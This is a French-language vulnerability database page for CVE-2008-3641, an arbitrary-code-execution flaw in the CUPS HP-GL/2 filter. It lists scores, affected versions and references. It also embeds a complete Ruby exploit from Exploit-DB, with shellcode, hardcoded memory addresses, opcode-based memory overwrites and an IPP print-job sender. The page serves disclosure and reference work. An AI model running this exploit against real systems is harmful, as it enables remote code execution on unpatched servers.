CVE-2008-3641 : Détail

CVE-2008-3641

55.58%V4
Network
2008-10-10
08h00 +00:00
2018-10-11
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The Hewlett-Packard Graphics Language (HPGL) filter in CUPS before 1.3.9 allows remote attackers to execute arbitrary code via crafted pen width and pen color opcodes that overwrite arbitrary memory.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32470

Date de publication : 2008-10-08 22h00 +00:00
Auteur : regenrecht
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/31688/info CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges. Successful remote exploits may require printer sharing to be enabled on the vulnerable system. The issue affects versions prior to CUPS 1.3.9. NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability. #!/usr/bin/ruby -w # CUPS 1.3.7 (HP-GL/2 filter) remote code execution # gives uid=2(daemon) gid=7(lp) groups=7(lp) # linux 2.6.25/randomize_va_space = 1, glibc 2.7 # # An Introduction to HP-GL/2 Graphics # http://www.tech-diy.com/HP%20Graphics%20Language.htm # Internet Printing Protocol/1.1: Encoding and Transport # http://tools.ietf.org/html/rfc2910 # Internet Printing Protocol/1.1: Model and Semantics # http://tools.ietf.org/html/rfc2911 # :::::::::::::::::::::::::::::::::: setup :::::::::::::::::::::::::::::::::: host = '127.0.0.1' port = 631 printer = 'Virtual_Printer' Pens_addr = 0x08073600 # objdump -T hpgltops | grep Pens$ fprintf_got = 0x080532cc # objdump -R hpgltops | grep fprintf # linux_ia32_exec - CMD=/bin/touch /tmp/yello Size=84, metasploit.com # encoder=PexFnstenvSub, restricted chars: 0xff shellcode = "\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c" + "\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb" + "\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84" + "\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6" + "\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b" + "\xfc\x48\x22\xd6"; # :::::::::::::::::::::::::::::::::: code ::::::::::::::::::::::::::::::::::: # beacause of hpgl-attr.c:68-73 and 269-274 def CR_setup() "CR0,1,0,1,0,1;" end # PS is a bit tricky here. final weight of pen (PW code) is calculated as: # weight*=hypot(ps[0],ps[1])/1016.0*72.0 (which is NOT hypot/73152.0), # where ps0=72.0*arg1/1016.0 and ps1=72.0*arg2/1016.0. # so, hoping to get things accurate I set multiplier to 1.0 def PS_setup() "WU1;" + # set the units used for pen widths "RO0;" + # (do not) rotate the plot "PS0,199.123455;"; # set the plot size end # alternative approach to fight floating point rounding errors # first one seems to be more successful, though def PS_setup_alt() "WU0;" + "RO0;"; end # set the pen width (PS!) def PW(width, pen) "PW#{width},#{pen};" end def PW_alt(width, pen) "PW#{width*25.4/72.0},#{pen};" end # "Set the pen color..." def PC(pen, r, g, b) "PC#{pen},#{r},#{g},#{b};" end # we'll be storing shellcode in Pens[1024] static buffer # typedef struct # { # float rgb[3]; /* Pen color */ # float width; /* Pen width */ # } pen_t; def memcpy(data) while (data.length % 16 != 0) data += "\x90"; end s = '' a = 0, b = 0, i = 0 data.unpack('f*').each { |f| case ((i += 1) % 4) when 1: a = f when 2: b = f when 3: s += PC(i/4, a, b, f) else s += PW(f, (i-1)/4) end } return s; end # overwrite all 16 bytes with the same value def poke(addr, value) f = [value].pack('i').unpack('f') # floatyfication! i = (addr-Pens_addr)/16 return PC(i, f, f, f) + PW(f, i) end hpgl_data = "BP;" + # to be recognized by CUPS CR_setup() + PS_setup() + memcpy(shellcode) + poke(fprintf_got, Pens_addr) + PC(0, 0, 0, 0); # whatever def attribute(tag, name, value) [tag].pack('C') + [name.length].pack('n') + name + [value.length].pack('n') + value end # tag - meaning (rfc2910#section-3.5) # 0x42 nameWithoutLanguage # 0x45 uri # 0x47 charset # 0x48 naturalLanguage operation_attr = attribute(0x47, 'attributes-charset', 'utf-8') + attribute(0x48, 'attributes-natural-language', 'en-us') + attribute(0x45, 'printer-uri', "http://#{host}:#{port}/printers/#{printer}") + attribute(0x42, 'job-name', 'zee greeteengz') + attribute(0x42, 'document-format', 'application/vnd.hp-HPGL'); ipp_data = "\x01\x00" + # version-number: 1.0 "\x00\x02" + # operation-id: Print-job "\x00\x00\x00\x01" + # request-id: 1 "\x01" + # operation-attributes-tag operation_attr + "\x02" + # job-attributes-tag "\x03" + # end-of-attributes-tag hpgl_data; http_request = """POST /printers/#{printer} HTTP/1.1 Content-Type: application/ipp User-Agent: Internet Print Provider Host: #{host} Content-Length: #{ipp_data.length} Connection: Keep-Alive Cache-Control: no-cache """ require 'socket' NL = "\r\n" if (false) # ./hpgltops 0 none none 1 '' output.hpgl puts hpgl_data puts "[+] dumping HP/GL-2 into output.hpgl" f = File.new('output.hpgl', 'w') f.write(hpgl_data) f.close() exit(0) end puts "[+] connecting to #{host}:#{port}" s = TCPSocket.open(host, port) puts "[+] asking #{printer} for a printout" http_request.each_line { |line| s.write(line.strip + NL) } s.write(NL) s.write(ipp_data) s.read(1) s.close() puts "[+] done"

Products Mentioned

Configuraton 0

Apple>>Cups >> Version To (including) 1.3.8

Apple>>Cups >> Version 1.1

Apple>>Cups >> Version 1.1.1

Apple>>Cups >> Version 1.1.2

Apple>>Cups >> Version 1.1.3

Apple>>Cups >> Version 1.1.4

Apple>>Cups >> Version 1.1.5

Apple>>Cups >> Version 1.1.5-1

Apple>>Cups >> Version 1.1.5-2

Apple>>Cups >> Version 1.1.6

Apple>>Cups >> Version 1.1.6-1

Apple>>Cups >> Version 1.1.6-2

Apple>>Cups >> Version 1.1.6-3

Apple>>Cups >> Version 1.1.7

Apple>>Cups >> Version 1.1.8

Apple>>Cups >> Version 1.1.9

Apple>>Cups >> Version 1.1.9-1

Apple>>Cups >> Version 1.1.10

Apple>>Cups >> Version 1.1.10-1

Apple>>Cups >> Version 1.1.11

Apple>>Cups >> Version 1.1.12

Apple>>Cups >> Version 1.1.13

Apple>>Cups >> Version 1.1.14

Apple>>Cups >> Version 1.1.15

Apple>>Cups >> Version 1.1.16

Apple>>Cups >> Version 1.1.17

Apple>>Cups >> Version 1.1.18

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.19

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.20

Apple>>Cups >> Version 1.1.21

Apple>>Cups >> Version 1.1.21

Apple>>Cups >> Version 1.1.21

Apple>>Cups >> Version 1.1.22

Apple>>Cups >> Version 1.1.22

Apple>>Cups >> Version 1.1.22

Apple>>Cups >> Version 1.1.23

Apple>>Cups >> Version 1.1.23

Apple>>Cups >> Version 1.2

Apple>>Cups >> Version 1.2

Apple>>Cups >> Version 1.2

Apple>>Cups >> Version 1.2

Apple>>Cups >> Version 1.2

Apple>>Cups >> Version 1.2.0

Apple>>Cups >> Version 1.2.1

Apple>>Cups >> Version 1.2.2

Apple>>Cups >> Version 1.2.3

Apple>>Cups >> Version 1.2.4

Apple>>Cups >> Version 1.2.5

Apple>>Cups >> Version 1.2.6

Apple>>Cups >> Version 1.2.7

Apple>>Cups >> Version 1.2.8

Apple>>Cups >> Version 1.2.9

Apple>>Cups >> Version 1.2.10

Apple>>Cups >> Version 1.2.11

Apple>>Cups >> Version 1.2.12

Apple>>Cups >> Version 1.3

Apple>>Cups >> Version 1.3

Apple>>Cups >> Version 1.3

Apple>>Cups >> Version 1.3.0

Apple>>Cups >> Version 1.3.1

Apple>>Cups >> Version 1.3.2

Apple>>Cups >> Version 1.3.3

Apple>>Cups >> Version 1.3.4

Apple>>Cups >> Version 1.3.5

Apple>>Cups >> Version 1.3.6

Apple>>Cups >> Version 1.3.7

Références

http://sunsolve.sun.com/search/document.do?assetkey=1-26-261088-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/32284
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:211
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2008/2782
Tags : vdb-entry, x_refsource_VUPEN
http://www.gentoo.org/security/en/glsa/glsa-200812-11.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/32331
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/31681
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/33111
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/32292
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/1568
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/33085
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/33568
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2008/3401
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/31688
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/32222
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/32226
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1656
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.cups.org/str.php?L2911
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id?1021031
Tags : vdb-entry, x_refsource_SECTRACK
https://usn.ubuntu.com/656-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.vupen.com/english/advisories/2008/2780
Tags : vdb-entry, x_refsource_VUPEN
http://www.cups.org/articles.php?L575
Tags : x_refsource_CONFIRM
http://support.apple.com/kb/HT3216
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/32084
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0937.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/32316
Tags : third-party-advisory, x_refsource_SECUNIA